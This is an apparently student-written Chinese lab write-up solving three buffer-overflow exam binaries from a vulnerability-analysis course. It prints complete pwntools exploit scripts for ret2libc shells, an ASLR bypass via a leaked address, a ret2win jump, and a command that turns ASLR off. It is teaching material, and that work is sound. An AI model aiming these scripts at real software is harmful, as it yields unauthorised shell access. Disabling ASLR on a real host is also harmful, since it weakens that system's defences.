漏洞实验—期末题解
漏洞实验:期末题解
漏洞分析技术实验是13周的教学周,在13周会进行线下的实验开卷考试,本次考了三个题目可以说第一题和第三题是日常作业留的题目,第二题是课上给老师验收展示的题目,只要之前认真做了就问题不大。
考试是可以看之前的实验报告的,不过在线下考试时候需要注意记得把老师给的Ubuntu中的ALSR关闭,另外老师给的可执行文件最好用root用户运行,并给其更高的权限chown 777 文件名
,否则可能会不能执行。
Test1
查看test1文件的信息及保护机制。
可以看到其为32位小端存储,保护措施均位关闭状态。
利用32位idea对test1文件进行反编译。
通过提示信息
32bits ROP GAME!
可知其为ROP利用漏洞。其中存在Danger()
函数,点击进行查看,可以看到其中申请了0xC8
大小的buf数组,并对其进行了超出其申请内存大小的读操作,可以判断从此存在漏洞。在idea中
shift+F12
查找是否存在/bin/sh
字符。并未发现该字符串,由此需要从
libc
中找寻或者利用gadgets构造。通过idea查看同样未找到
system
函数,由此查看test1所调用的动态链接库。1
ldd test1
利用pwndbg调试test1,在函数Danger处设置断点后运行。
1
2
3gdb test1
b Danger
rvmmap
查看其动态链接库始末位置,并找到system函数及/bin/sh
的地址。1
2
3vmmap
print system
find 0xf7dc2000,0xf7fae000,"/bin/sh"由此可得system函数地址
0xf7e07160
,”/bin/sh”地址0xf7f51924
。输入
n
继续调试,直到输入字符”deadbeef”,stack 100
查看栈的情况。可以看到从
deadbeef
存储位置到ebp栈底距离有200字节。编写脚本。
1
2
3
4
5
6
7
8
9
10from pwn import *
p = process("./test1")
system_addr = 0xf7e07160
binsh_addr = 0xf7f51924
payload = "A" * (200+4) + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
p.recv()
p.sendline(payload)
p.interactive()payload详情
- “A” * (200+4):其为填充buf数组和ebp的4字节返回地址。
- p32(system_addr):将eip返回到上文在libc中找到的system地址中。
- p32(0xdeadbeef):其为system的返回值,后续不会用到,所以填写随便填写为deadbeef。
- p32(binsh_addr):在libc中找到的”/bin/sh”字符。
运行脚本,获取shell权限。
Test2
查看test2文件的信息及保护机制。
可以看到其为32位小端存储文件,并开启了NX栈保护机制。
利用32位idea对test1文件进行反编译。
点击查看main函数中的function函数,可以看到其中有对数组的读操作和写操作,并且未使用安全函数,可以在此处利用漏洞。
其中可以看到调用了system函数,存储数组
&dest
对应v17
并分配了0x3c
的空间运行该执行文件,并用越界的参数尝试读操作和改写操作可以发现其暴露了非正常返回内容。
读操作:
改写操作:
利用pwndbg在对其进行调试,查看function函数,通过步骤2中开辟的空间查找数组操作位置,并设置断点并调试。
1 | gdb ./test2 |
通过分配地址找到响应语句,在0x80486f3
下断点运行。
输入数据后,stack 50
查看栈,可以看到数组的开始位置为0xffffd0cc
,system地址为0xf7e07160
,如下图。
在动态链接库中查找”/bin/sh”地址。
利用漏洞思路
上述步骤可以得知程序开启了NX保护,system的函数地址、dest数组被分配空间、”/bin/sh”地址。由此通过返回地址返回到system函数地址,并向其中写入动态链接库中的”/bin/sh”地址即可获取shell。
而在考试的时候因为环境可能是新配置的会忘记关掉ALSR所以导致打不通。由此需要先关闭ALSR,由此可以在脚本中直接写入system地址和”/bin/sh”地址。
1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
当然也可以通过程序的溢出获取system函数的地址,并且通过计算偏移量的方式计算出”/bin/sh”的方式绕过ALSR的攻击,在下方脚本代码会呈现出这两种形式。
编写脚本。
关闭ALSR,直接写死地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
#context.log_level='debug'
r= process("./test2")
for i in range(8):
r.recvuntil(">>>")
r.sendline(str(i)*3)
r.recvuntil(">>")
r.sendline("1")
r.recvuntil(">>>")
r.sendline("9")
system = 0xf7e07160
binsh = 0xf7f51924
rop = p32(system)+p32(0xdeadbeef)+p32(binsh)
payload = 'a'*0x3c + p32(0xdeadbeef) + rop
r.recvuntil(">>")
r.sendline("2")
r.recvuntil(">>>")
r.sendline("9")
r.recvuntil(">>>")
r.sendline(payload)
r.recvuntil(">>")
r.sendline("3")
r.interactive()未关闭ALSR,采用溢出数据和偏移量计算绕过:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33from pwn import *
#context.log_level='debug'
r= process("./test2")
for i in range(8):
r.recvuntil(">>>")
r.sendline(str(i)*3)
r.recvuntil(">>")
r.sendline("1")
r.recvuntil(">>>")
r.sendline("9")
data = r.recv(36)
system = u32(data[-4:])
binsh = system + 0xf7f51924 - 0xf7e07160
rop = p32(system)+p32(0xdeadbeef)+p32(binsh)
payload = 'a'*0x3c + p32(0xdeadbeef) + rop
r.recvuntil(">>")
r.sendline("2")
r.recvuntil(">>>")
r.sendline("9")
r.recvuntil(">>>")
r.sendline(payload)
r.recvuntil(">>")
r.sendline("3")
r.interactive()payload详情
- “a” * 0x3c:其为填充给dest数组分配的0x3C的空间。
- 首个p32(0xdeadbeef):其为填充ebp返回地址,因为没后续操作填入deadbeef即可。
- p32(system):将eip返回到程序中引用的system函数处,其在关闭ALSR下直接写入调试时获取的地址即可,若未关闭ALSR则需要获取溢出的数据,取第32—36字节的地址的数据进行u32解包成十六进制地址形式(前8*4字节存储了正常数据)。
- 第二个p32(0xdeadbeef):其为system的返回值,后续不会用到,所以填写随便填写为deadbeef。
- p32(binsh_addr):在libc中找到的”/bin/sh”字符,其在未关闭ALSR下直接写入查询到的地址即可,若未关闭ALSR需要计算偏移量:本次运行获取的溢出的system地址+调试时”/bin/sh”的地址-调试时system地址。
执行脚本获取shell。
Test3
查看test3文件的信息及保护机制。
可以看到其为64位小端存储文件,并开启了NX栈保护机制。
利用64位idea对test3文件进行反编译。
可以看到程序可以输入用户名和密码,并通过判断语句:用户名是否等于3和用户名是否为
admin
,发现这是不可能实现的,另外其中会调用HACK()
函数,其调用会获取shell,由此可以知道需要通过缓冲区溢出跳转执行HACK()
函数。利用gdb查看HACK函数的地址,得到HACK地址为
0x400666
。1
2gdb test3
disass HACKb main
在main函数处设置断点,gdb动态调试查看其数组存储位置,输入r
开始调试,一直输入n
步过,直到scanf处输入字符串,向其中输入deadbeef
。stack 50
查看deadbeef
在栈中存储情况。可以看到
deadbeef
存储地址位置为0x7fffffffdf30
。rip返回地址为rbp地址后八字节的0x7fffffffdf68
,因此需要填充0x38字节溢出并覆盖为HACK的地址即可实现调用HACK函数获取shell。编写脚本。
1
2
3
4
5
6
7
8from pwn import *
p = process('./test3')
hack_addr = 0x400666
payload = b'A' * 0x38 + p64(hack_addr)
p.recv()
p.sendline(payload)
p.interactive()payload详情
- “A” * 0x38:其为填充字符串数字和ebp返回地址。
- p64(hack_addr):为64位表示方式的HACK函数地址。
运行脚本,获取shell权限。